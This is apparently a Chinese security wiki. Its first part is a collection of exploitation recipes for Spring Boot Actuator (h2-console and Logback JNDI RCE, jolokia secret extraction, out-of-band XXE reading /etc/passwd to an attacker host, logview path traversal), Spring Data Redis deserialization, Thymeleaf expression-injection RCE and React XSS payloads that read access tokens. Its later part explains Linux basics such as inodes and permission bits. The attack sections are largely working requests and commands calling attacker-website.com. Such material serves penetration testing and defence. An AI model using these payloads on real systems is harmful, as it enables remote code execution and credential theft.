[shutdown](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#shutdown)允许应用程序优雅地关闭。默认情况下禁用。

## h2-console

需要以下条件：

* 使用了`com.h2database.h2`依赖
* h2控制台在Spring配置中启用`spring.h2.console.enabled=true`

您可以通过h2数据库控制台中的JDNI获得RCE：

1. 访问h2控制台`/h2-console`。应用程序将重定向到`/h2-console/login.jsp?jsessionid=xxxxxx`。捕获`jsessionid`值。
2. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
3. 以与早期JDK版本兼容的方式编译：

   ```bash
   javac -source 1.5 -target 1.5 JNDIObject.java
   ```
4. 在`http://attacker-website.com/`托管编译的`JNDIObject.class`
5. 使用[marshalsec](https://github.com/mbechler/marshalsec)设置LDAP服务：

   ```bash
   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
   ```
6. 触发JNDI注入：

   ```http
   POST /h2-console/login.do?jsessionid=xxxxxx
   Host: vulnerable-website.com
   Content-Type: application/json
   Referer: http://vulnerable-website.com/h2-console/login.jsp?jsessionid=xxxxxx

   {
       "language": "en",
       "setting": "Generic+H2+(Embedded)",
       "name": "Generic+H2+(Embedded)",
       "driver": "javax.naming.InitialContext",
       "url": "ldap://attacker-website.com:1389/JNDIObject",
       "user": "",
       "password": ""
   }
   ```

参考：

* [Spring Boot Vulnerability Exploit Check List: h2 database console JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x07h2-database-console-jndi-rce)

## heapdump

[heapdump](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#heapdump)返回一个hprof堆转储文件，可能包含敏感数据，如`env`属性。要从prof堆转储中检索数据，使用[Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php)工具，查看[Find password plaintext in spring heapdump using MAT](https://landgrey.me/blog/16/)。

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 4)](https://github.com/LandGrey/SpringBootVulExploit#0x06%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E5%9B%9B)

## jolokia

通过HTTP暴露JMX bean（当Jolokia在类路径上时，WebFlux不可用）。需要依赖`jolokia-core`。

### 提取env属性

您可以调用相关的MBeans以明文检索`env`属性值。下面您可以找到可用于此目的的MBeans。但是，情况可能有所不同，列出的Mbeans可能不可用。但是，您可以搜索可以通过`getProperty`等关键字调用的方法。

参考：

* [Spring Boot Vulnerability Exploit Check List: Obtain the plaintext of the password desensitized by the asterisk (method 1)](https://github.com/LandGrey/SpringBootVulExploit#0x03%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%80)

#### org.springframework.boot

您可以使用以下请求获取`env`属性值的明文：

```http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.boot:name=SpringApplication,type=Admin",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}
```

`org.springframework.boot` MBean调用`org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar`类实例的`getProperty`方法。

#### org.springframework.cloud.context.environment

您可以使用以下请求获取`env`属性值的明文：

```http
POST /actuator/jolokia HTTP/1.1
Content-Type: application/json

{
    "mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager",
    "operation": "getProperty",
    "type": "EXEC",
    "arguments": [
        "your.property.name"
    ]
}
```

`org.springframework.cloud.context.environment` MBean调用`org.springframework.cloud.context.environment.EnvironmentManager`类实例的`getProperty`方法。

### Logback::reloadByURL

您可以使用`/jolokia/list`端点列出所有可用的MBeans操作。大多数MBeans操作只暴露一些系统数据，但如果存在`Logback`库提供的`reloadByURL`操作：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-ba1de50b68357e7b0fa91b570613353f2fefb4ea%2Fjolokia-list.png?alt=media)

可以从外部URL重新加载日志配置：

```http
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml
```

#### 带外XXE

`Logback`使用由启用了外部实体的`SAXParser` XML解析器解析的XML配置。您可以利用此功能触发带外XXE：

```xml
<!-- logback.xml -->
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://attacker-website.com/file.dtd">%remote;%int;]>
<a>&trick;</a>
```

```xml
<!-- file.dtd -->
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
```

![包含/etc/passwd文件内容和错误的服务器响应](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-9a093e079e07c11d30a27572a683720f8728ea6b%2Foob-xxe.png?alt=media)

参考：

* [Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)

#### Logback JNDI RCE

`Logback`配置具有[从JNDI获取变量](https://logback.qos.ch/manual/configuration.html#insertFromJNDI)的功能。在XML配置文件中，您可以包含如下标签：

```xml
<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName"/>
```

在这种情况下，`env-entry-name`属性将传递给`DirContext.lookup()`方法。向`lookup`方法提供任意名称可以通过远程类加载导致远程代码执行。

您可以通过以下步骤获得代码执行：

1. 获取`/jolokia/list`以检查`ch.qos.logback.classic.jmx.JMXConfigurator`类和`reloadByURL`方法是否可用
2. 在`http://attacker-website.com/logback.xml`托管logback配置：

   ```xml
   <configuration>
       <insertFromJNDI env-entry-name="ldap://attacker-website.com:1389/JNDIObject" as="appName" />
   </configuration>
   ```
3. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
4. 以与早期JDK版本兼容的方式编译：

   ```bash
   javac -source 1.5 -target 1.5 JNDIObject.java
   ```
5. 在`http://attacker-website.com/`托管编译的`JNDIObject.class`
6. 设置LDAP服务器，使用[marshalsec](https://github.com/mbechler/marshalsec)设置服务器：

   ```bash
   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker-website.com:80/#JNDIObject 1389
   ```
7. 使用以下请求从外部URL加载日志配置：

   ```
   GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/attacker-website.com!/logback.xml HTTP/1.1
   ```

   如果应用程序成功请求`logback.xml`且`marshalsec`接收到目标请求，但应用程序未请求`JNDIObject.class`，则可能是应用程序的JDK版本过高，导致JNDI使用失败。

可能的原因是以下步骤：

1. 直接访问可能导致漏洞的URL等同于通过jolokia `reloadByURL`调用`ch.qos.logback.classic.jmx.JMXConfigurator`类方法
2. 应用程序从外部URL请求XML配置文件
3. XML配置由`saxParser.parse`解析，导致XXE漏洞
4. 在Logback XML配置文件中使用`insertFormJNDI`标签指定外部JNDI服务器地址
5. 应用程序请求恶意JNDI服务器，导致JNDI注入和RCE

参考：

* [Spring Boot Vulnerability Exploit Check List: jolokia logback JNDI RCE](https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce)
* [Spring Boot Actuator (jolokia) XXE/RCE](https://github.com/mpgn/Spring-Boot-Actuator-Exploit)
* [Research: A Journey From JNDI/LDAP Manipulation To RCE](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)
* [Research: Exploiting JNDI Injections in Java](https://www.veracode.com/blog/research/exploiting-jndi-injections-java)

### Tomcat::createJNDIRealm

Tomcat（嵌入到Spring Boot中）的MBeans之一是`createJNDIRealm`。`createJNDIRealm`允许创建易受JNDI注入攻击的JNDIRealm。您可以通过以下步骤利用：

1. 获取`/jolokia/list`以检查`type=MBeanFactoryand`和`createJNDIRealm`是否存在
2. 准备要执行的Java代码，您可以重用[JNDIObject.java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)
3. 编译代码并在`http://attacker-website.com/`托管编译的类
4. 使用[marshalsec](https://github.com/mbechler/marshalsec)设置RMI服务：

   ```bash
   java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker-website.com:80/#JNDIObject 1389
   ```
5. 使用[springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py)发送payload

可能的原因是以下链：

1. 使用`createJNDIRealm`创建`JNDIRealm`
2. 将`connectionURL`地址设置为RMI服务URL
3. 将`contextFactory`设置为`RegistryContextFactory`
4. 停止Realm
5. 启动Realm以触发指定RMI地址的JNDI注入，导致RCE

参考：

* [Spring Boot Vulnerability Exploit Check List: jolokia-realm-jndi-rce](https://github.com/LandGrey/SpringBootVulExploit#0x05jolokia-realm-jndi-rce)
* [Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)

### Jookia CVEs

* [How I made more than $30K with Jolokia CVEs](https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/)
* [Jolokia Vulnerabilities - RCE & XSS](https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html)

## logfile

[logfile](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#log-file)返回日志文件的内容（如果设置了`logging.file.name`或`logging.file.path`属性）。支持使用HTTP Range头部检索日志文件内容的一部分。

## logview

[spring-boot-actuator-logview](https://github.com/lukashinsch/spring-boot-actuator-logview)`0.2.13`之前的版本易受路径遍历攻击，允许您检索任意文件。

```bash
# 检索 /etc/passwd
$ curl http://localhost:8887/manage/log/view?filename=/etc/passwd&base=../../../../../
```

参考：

* [Writeup: CVE-2021-21234 Spring Boot Actuator Logview Directory Traversal](https://pyn3rd.github.io/2021/10/25/CVE-2021-21234-Spring-Boot-Actuator-Logview-Directory-Traversal/)

## dump或threaddump

[dump或threaddump](https://docs.spring.io/spring-boot/docs/2.4.0/actuator-api/htmlsingle/#threaddump)从应用程序的JVM执行线程转储。

## 参考

* [Spring Boot Actuator: Production-ready Features](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html)
* [Veracode Research: Exploiting Spring Boot Actuators](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
* [Spring Boot Vulnerability (Keep On Updating)](https://github.com/pyn3rd/Spring-Boot-Vulnerability)


# Spring Data Redis不安全反序列化

## Spring Data Redis 概述

Spring Data Redis是更大的Spring Data家族的一部分，提供从Spring应用程序轻松配置和访问Redis。Spring Data Redis在将数据写入Redis之前首先序列化数据。默认情况下，使用Java原生序列化进行序列化。

{% embed url="<https://github.com/spring-projects/spring-data-redis/blob/master/src/main/asciidoc/reference/redis.adoc#serializers>" %}

## 不安全反序列化

当Spring Data Redis从Redis检索数据时，存储的字节码会被反序列化。由于在反序列化过程中目标类没有被检查或过滤，这可能导致远程代码执行。

利用示例：

1. 使用[ysoserial](https://github.com/frohoff/ysoserial)生成payload
2. 将生成的payload写入Redis：

   ```java
   // 尝试选择Redis中已存在的键，以便Spring检索数据时代码执行可以开始
   redis.set("\xac\xed\x00\x05t\x00\brebeyond", payload);
   ```
3. 触发或等待Spring检索数据，易受攻击代码示例：

   ```java
   @Controller
   public class HelloController {

       protected RedisTemplate<Serializable, Serializable> redisTemplate;

       @GetMapping("/")
       public String index() {
           Object result = redisTemplate.opsForValue().get("rebeyond");
           return "index";
       }
   }
   ```
4. 服务器成功启动计算器：

   ![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-5b2936043f05256ee525019169d52f6a39b779ca%2Fredis-rce-calc-poc.png?alt=media)

   调用栈如下：

   ![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-84bbe6f4ebbc904a39fb2a698ab475d89a6b0b5d%2Fredis-rce-stacktrace-poc.png?alt=media)

## 参考

* [Spring Data Redis <=2.1.0 Deserialization Vulnerability](https://xz.aliyun.com/t/2339)


# Spring视图操作

## 视图概述

考虑一个使用Thymeleaf作为其模板引擎的简单Spring应用程序：

```java
@Controller
public class HelloController {

    @GetMapping("/")
    public String index(Model model) {
        model.addAttribute("message", "happy birthday");
        return "welcome";
    }
}
```

`index`方法将为根URL `/` 的每个`GET`请求调用。它没有参数并返回静态字符串`welcome`。Spring将`welcome`解释为`View`的名称，并尝试找到位于应用程序资源中的`resources/templates/welcome.html`文件。如果Spring找到它，将从模板文件渲染视图并返回给用户。

## 不受信任的Thymeleaf视图名称

如果使用Thymeleaf视图引擎（Spring中最流行的），模板可能如下所示：

```html
<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>
```

Thymeleaf引擎支持[文件布局](https://www.thymeleaf.org/doc/articles/layouts.html)，允许您通过使用`<div th:fragment="main">`在模板中指定片段，然后仅从视图中请求此片段：

```java
@GetMapping("/main")
public String fragment() {
    return "welcome :: main";
}
```

Thymeleaf足够智能，只从`welcome`视图返回主要的`div`，而不是整个文档。

在从文件系统加载模板之前，[Spring ThymeleafView](https://github.com/thymeleaf/thymeleaf-spring/blob/74c4203bd5a2935ef5e571791c7f286e628b6c31/thymeleaf-spring3/src/main/java/org/thymeleaf/spring3/view/ThymeleafView.java)类将模板名称解析为表达式：

```java
try {
   // 通过将其解析为标准表达式，我们可以从表达式缓存中获益
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}
```

因此，如果模板名称或片段与不受信任的数据连接，它可能导致表达式语言注入，从而导致RCE。

例如，以下方法容易受到表达式语言注入攻击：

```java
@GetMapping("/path")
public String path(@RequestParam String lang) {
    // 潜在的路径遍历，但限于'templates'文件夹
    return "user/" + lang + "/welcome";
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section;
}
```

以下请求在服务器上创建`executed`文件：

```http
GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch executed").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com
```

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-13ad28506073e8ed31fd2418ff2e365c7c7f708a%2Fpath-eli-exploit.png?alt=media)

此漏洞利用使用[表达式预处理](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/)。为了使表达式被Thymeleaf执行，无论前缀或后缀是什么，都需要用`__${`和`}__::.x`包围它。

## 不受信任的隐式视图名称

控制器并不总是返回明确告诉Spring使用什么视图名称的字符串。如[文档](https://docs.spring.io/spring-framework/docs/current/reference/html/web.html#mvc-ann-return-types)中所述，对于某些返回类型，如`void`、`java.util.Map`或`org.springframework.ui.Model`，视图名称通过`RequestToViewNameTranslator`隐式确定。

这意味着乍一看这样的控制器可能看起来完全无害，它几乎什么都不做，但由于Spring不知道要使用什么视图名称，它**从请求URI中获取**。

```java
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}
```

具体来说，`DefaultRequestToViewNameTranslator`执行以下操作：

```java
/**
 * 将传入的{@link HttpServletRequest}的请求URI
 * 转换为基于配置参数的视图名称。
 * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
 * @see #transformPath
 */
@Override
public String getViewName(HttpServletRequest request) {
    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}
```

所以，它变得易受攻击，因为用户控制的数据（URI）直接进入视图名称并被解析为表达式：

```http
GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com
```

## 参考

* [Spring View Manipulation Vulnerability](https://github.com/veracode-research/spring-view-manipulation/)


# React


# 概述

## ReactJS 概述

[ReactJS](https://reactjs.org/)是一个用于构建用户界面的JavaScript库。

### 组件和props

[组件](https://reactjs.org/docs/components-and-props.html)是ReactJS的基本构建块。从概念上讲，它们就像JavaScript函数。它们接受任意输入`props`并返回描述屏幕上应该显示什么的React元素。

定义组件的最简单方法是编写一个JavaScript函数：

```javascript
function Welcome(props) {
    return <h1>Hello, {props.name}</h1>;
}
```

这个函数是一个有效的React组件，因为它接受一个`props`（代表属性）对象参数并返回一个React元素。这样的组件被称为`函数组件`，因为它们字面上就是JavaScript函数。

定义组件的另一种方法是使用ES6类：

```javascript
class Welcome extends React.Component {
    render() {
        return <h1>Hello, {this.props.name}</h1>;
    }
}
```

从React的角度来看，以上两个组件是等价的。

### JSX

React组件使用[JSX](https://jsx.github.io/)，这是JavaScript的语法扩展。在构建过程中，JSX代码被转译为常规JavaScript（ES5）代码。

以下两个示例是等价的：

```javascript
// JSX
const element = (
    <h1 className="greeting">
    Hello, world!
    </h1>
);

// 转译为createElement()调用
const element = React.createElement(
  'h1',
  {className: 'greeting'},
  'Hello, world!'
);
```

### 元素

使用`createElement`函数从组件类创建新的React元素：

```javascript
React.createElement(
  type,
  [props],
  [...children]
)
```

此函数接受三个参数：

* `type`可以是标签名字符串（如`div`或`span`），或组件类。
* `props`包含传递给新元素的属性列表。
* `children`包含新元素的子节点（它们是额外的React组件）。

### 设计安全

ReactJS在设计上实现了安全控制，例如，视图中的字符串变量会自动转义。

## 参考

* [Exploiting Script Injection Flaws in ReactJS Apps](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)


# 安全问题

## 控制元素类型

`createElement`函数在`type`参数中接受一个字符串。如果字符串由用户控制，就可以创建任意React组件：

```javascript
// 从存储在后端的字符串动态创建元素
// stored_value是用户控制的字符串
element_name = stored_value;
React.createElement(element_name, null);
```

然而，这只会生成一个普通的、无属性的HTML元素（相当无用）。

## 注入props

`createElement`函数在`props`参数中接受一个属性列表。如果列表由用户控制，就可以向新元素注入任意props：

```javascript
// 解析用户提供的JSON并将结果对象作为props传递
// stored_value是带有属性的用户控制JSON字符串
props = JSON.parse(stored_value);
React.createElement("span", props);
```

您可以使用以下payload来设置`dangerouslySetInnerHTML`属性：

```javascript
{"dangerouslySetInnerHTML" : { "__html": "<img src=x/ onerror=’alert(localStorage.access_token)’>" }}
```

## 显式设置dangerouslySetInnerHTML

如果用户提供的数据用于设置`dangerouslySetInnerHTML`属性，您可以插入任意JavaScript代码：

```javascript
<div dangerouslySetInnerHTML={user_supplied} />
```

## 显式设置href

如果用户提供的数据用于设置`href`属性，您可以插入`javascript:` URL：

```javascript
<a href={user_supplied}>Link</a>
```

其他一些属性如HTML5按钮中的`formaction`或HTML5 imports也可能存在漏洞：

```javascript
// HTML5按钮
<button form="name" formaction={user_supplied}/>
// HTML5 import
<link rel="import" href={user_supplied}>
```

## 滥用服务器端渲染

如果用户控制的数据传递给依赖用户生成内容和输入的代码而没有适当的净化，您可以注入任意JavaScript代码。

例如，官方的[Redux](https://redux.js.org/) SSR代码示例存在XSS漏洞（[该示例已修复](https://redux.js.org/usage/server-rendering#inject-initial-component-html-and-state)）：

```javascript
function renderFullPage(html, preloadedState) {
  return `
    <!doctype html>
    <html>
      <head>
        <title>Redux Universal Example</title>
      </head>
      <body>
        <div id="root">${html}</div>
        <script>
          window.__PRELOADED_STATE__ = ${JSON.stringify(preloadedState)}
        </script>
        <script src="/static/bundle.js"></script>
      </body>
    </html>
  `
}
```

在上面的示例中，`JSON.stringify`函数的结果被赋值给`<script>`标签中的全局变量，这就是漏洞所在。如果Redux存储具有以下值：

```javascript
{
    user: {
        username: "username",
        bio: "bio</script><script>alert(1)</script>"
    }
}
```

当浏览器解析页面并遇到该`<script>`标签时，它将继续读取直到`</script>`。浏览器不会读取到最后一个大括号，相反，它实际上会在`bio: "as`之后结束脚本标签。

参考：

* [The Most Common XSS Vulnerability in React.js Applications](https://medium.com/node-security/the-most-common-xss-vulnerability-in-react-js-applications-2bdffbcc1fa0)

## 参考

* [Exploiting Script Injection Flaws in ReactJS Apps](https://medium.com/dailyjs/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1)


# 概述

{% embed url="<https://linux-kernel-labs.github.io/refs/heads/master/index.html>" %}

## Linux 概述

Linux是一个开源的类UNIX操作系统内核，基于UNIX设计哲学构建。本模块涵盖了Linux系统的核心概念和基础原理。

### 模块内容

* [Linux设计哲学](/linux-an-quan/overview/philosophy) - 了解UNIX/Linux的核心设计理念
* [文件系统](/linux-an-quan/overview/file) - 深入理解Linux文件系统和inode结构
* [文件描述符](/linux-an-quan/overview/file-descriptor) - 文件描述符的工作原理
* [I/O重定向](/linux-an-quan/overview/io-redirection) - 输入输出重定向机制
* [进程管理](/linux-an-quan/overview/process) - 进程生命周期和管理
* [进程间通信](/linux-an-quan/overview/inter-process-communication) - 进程间通信机制
* [Shell基础](/linux-an-quan/overview/shell) - Shell工作机制和管道
* [信号机制](/linux-an-quan/overview/signals) - 系统信号和进程间通信
* [套接字](/linux-an-quan/overview/socket) - 网络编程基础
* [用户空间与内核空间](/linux-an-quan/overview/user-kernel-space) - 系统架构分层

### 推荐资源

Linux内核实验室提供了一个完整的Linux内核学习环境，包含实验和实践项目。


# 设计哲学

## UNIX 设计哲学

UNIX 背后的哲学：

* 编写只做一件事并且做好这件事的程序
* 编写能够协同工作的程序（没有额外的输出，不强制要求交互式输入）
* 编写处理文本流的程序，因为文本流是通用接口

UNIX 也采用了["差即好"（Worse is better）](https://en.wikipedia.org/wiki/Worse_is_better)的哲学。

这种思维方式很强大。在更高层次上，你在函数式编程中经常可以看到这种思想：构建专注于单一功能的原子函数，没有额外的输出，然后将它们组合在一起来完成复杂的任务；组合中的所有函数都是纯函数；不需要跟踪全局变量。

也许正是这种思想的直接结果，UNIX的设计专注于两个主要组件：

* 进程（Processes）
* 文件（Files）

{% hint style="info" %}
UNIX中的一切要么是进程，要么是文件。没有其他东西。
{% endhint %}

### 核心原则

1. **简洁性**：每个程序只做一件事
2. **可组合性**：程序之间通过管道和重定向协同工作
3. **文本流**：所有程序都处理文本流，作为通用接口
4. **可移植性**：程序可以在不同的UNIX系统上运行

### 在现代软件中的应用

这种设计哲学在现代软件开发中仍然具有重要影响：

* **微服务架构**：每个服务专注于单一职责
* **函数式编程**：纯函数和函数组合
* **DevOps工具链**：小型专用工具的组合
* **Unix管道**：通过`|`连接多个命令

### 与其他设计哲学的对比

* **"MIT 哲学"**：追求完美和复杂性
* **"New Jersey 哲学"**：简单性优先，接受妥协
* UNIX选择了后者，这解释了为什么它能够如此成功和广泛传播

## 参考资料

* [How Unix Works: Become a Better Software Engineer](https://neilkakkar.com/unix.html) - 深入了解UNIX工作原理
* [The UNIX Philosophy](https://en.wikipedia.org/wiki/Unix_philosophy) - UNIX哲学的完整概述


# 文件系统

## Linux 文件系统

{% hint style="info" %}
不是进程的一切都是文件
{% endhint %}

这意味着打印机、扫描仪、终端屏幕、任何进程的代码——这些都是文件。你在文件系统上的文件是一串字节连接在一起创建的有意义的内容。

{% hint style="info" %}
文件只是一个数据流
{% endhint %}

目录也是文件，它们简单地包含当前目录中存在的文件和目录列表，就像一棵树。这样做的美妙之处在于你可以"打开"一个目录文件来查看其内容：

```bash
$ vim .
" ====================================================================
" Netrw Directory Listing                                 (netrw v168)
"   /Users/user/folder
"   Sorted by name
"   Quick Help: <F1>:help  -:go up dir  D:delete  R:rename  s:sort-by
"   x:special
" ===================================================================
../
./
another_folder/
some_file.txt
some_folder/
```

这就是UNIX存储当前目录的方式。它包含当前目录中的文件和目录列表。

## inode（索引节点）

![](https://drawings.jvns.ca/drawings/inodes.svg)

要拥有文件系统，你需要一个结构来管理它。文件系统不仅包含数据，还包含关于这些数据的一些信息，称为`元数据`（metadata）。这包括数据存储在哪里、谁拥有它以及谁可以看到它。这就是`inode`的作用——一个用于文件元数据的数据结构。

```bash
$ ls -li
total 0
287009 drwxr-xr-x   9 user  staff  288 23 Oct 07:36 another_folder
286999 -rw-r--r--   1 user  staff  110  9 Oct 11:37 some_file.txt
287002 drwxr-xr-x   5 user  staff  256 23 Sep 11:46 some_folder
```

每个文件都有一个唯一的`inode编号`（上面第一列）是文件存在时的唯一标识符。

### stat 命令

你可以使用`stat`命令来查看这个元数据：

```bash
$ stat -LF some_folder
drwxr-xr-x 8 user staff 256 Feb 05 13:37:00 2021 some_folder
```

* `drwxr-xr-x` 是文件权限
* `8` 是硬链接计数
* `user staff` 是用户和组名；文件和目录的所有权基于创建它们的用户的默认 uid（用户ID）和 gid（组ID）
* `256` 是文件大小，即文件中的字节数
* `Feb 05 13:37:00 2021` 是最后修改日期

## 文件权限

每个文件都有相关的权限，总共12个权限位：

![](https://2241975275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F7lonY2zgW7DNoIQMqYtw%2Fuploads%2Fgit-blob-cc6429870c26e395c0944f32148078517f24e7a0%2Ffile-permissions.png?alt=media)

### setuid 位（设置用户ID位）

{% hint style="info" %}
`setuid` 位对目录没有影响
{% endhint %}

`setuid` 位允许可执行文件以文件所有者的权限运行，而不是以启动它的用户权限运行。例如，如果一个可执行文件设置了`setuid`位并且由root拥有，那么当以普通用户身份启动时，它将以root权限运行。

一个设置了`setuid`权限的可执行文件示例是`passwd`，你可以使用它来更改登录密码。你可以使用`ls`命令来验证：

```bash
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 54256 Mar 26  2019 /usr/bin/passwd
```

你可以通过在"user"部分的执行位`x`位置看到`s`来识别`setuid`位的存在（见上面的命令输出）。

`s` 意味着执行位已设置，否则你会看到大写的`S`。这发生在`setuid`位已设置但执行位未设置时，向用户显示不一致：如果执行位未设置，`setuid`位无效。

### setgid 位（设置组ID位）

{% hint style="info" %}
`setgid` 位对文件和目录都有影响
{% endhint %}

设置`setgid`位的文件以拥有该文件的组的权限执行。换句话说，进程组ID将与文件相同。

当`setgid`用于目录时，在该目录中创建的文件将由父目录组拥有，而不是由创建它们的用户拥有。这通常用于简化文件共享（文件可以被属于特定组的所有用户修改）。

```bash
$ ls -l some_folder
drwxrwsr-x 1 user staff 256 Feb 6 04:37 some_folder
```

你可以通过在"group"部分的执行位`x`位置看到`s`来识别`setgid`位的存在（见上面的命令输出）。

`s` 意味着执行位已设置，否则你会看到大写的`S`。这发生在`setgid`位已设置但执行位未设置时，向用户显示不一致：如果执行位未设置，`setgid`位无效。

### sticky 位（粘滞位）

{% hint style="info" %}
`sticky` 位对文件没有影响
{% endhint %}

当`sticky`位用于目录时，该目录中的所有文件只能由其所有者修改。

使用`sticky`位的典型情况涉及`/tmp`目录。通常它对系统上的所有用户都可写，因此为了防止一个用户删除另一个用户的文件，设置了sticky位：

它通常对系统上的所有用户都可写，因此设置`sticky`位以防止一个用户修改或删除另一个用户的文件：

```bash
$ ls -ld /tmp
drwxrwxrwt 2 root wheel 64 Feb 7 08:50 /tmp
```

你可以通过在"other"部分的执行位`x`位置看到`t`来识别`sticky`位的存在（见上面的命令输出）。

`t` 意味着执行位已设置，否则你会看到大写的`T`。这发生在`sticky`位已设置但执行位未设置时，向用户显示不一致：如果执行位未设置，`sticky`位无效。

### rwx 权限

对于文件：

* `r` 可以读取（read）
* `w` 可以写入（write）
* `x` 可以执行（execute）

对于目录大致是：

* `r` 可以列出文件
* `w` 可以创建文件
* `x` 可以`cd`进入和修改文件

### 条目类型

然而，如果你查看元数据：

```bash
$ stat -LF
crw--w---- 1 user tty 16,2 Feb  7 09:29:10 2021 (stdin)
```

你会发现权限字符串`crw--w----`包含10个字符。第一个是特殊的条目类型字符，描述文件类型：

* `b` - 块特殊文件（block special file）
* `c` - 字符特殊文件（character special file）
* `d` - 目录（directory）
* `l` - 符号链接（symbolic link）
* `s` - 套接字链接（socket link）
* `p` - FIFO（命名管道）
* `-` - 普通文件（regular file）

### chmod 命令

你可以使用`chmod`工具来更改文件权限。在后端，`chmod`与文件的inode交互。

由于你需要3位来表示每个权限，你可以将其转换为整数并传递给`chmod`，例如：

```bash
$ chmod 721 .
# 或者 rwx-w---x
# 或者所有者拥有所有权限，组拥有写入权限，其他人拥有执行权限
```

`setuid`、`setgid`和`sticky`位分别用值`4`、`2`和`1`表示，例如：

```bash
# 在目录上设置setgid位
$ chmod 2775 .
```

更多使用示例参见[此处](https://github.com/cdxiaodong/cheat-sheets-cn/blob/master/Linux/console-commands.md#chmod)

你也可以限制自己的访问，移除自己的所有读取、写入和执行权限。如果文件元数据存储在文件本身中，你将无法再次更改权限（因为你无法写入文件）。这就是inode很酷的另一个原因：它们总是可以被文件所有者和root修改，所以你可以恢复你的权限。

## 文件链接

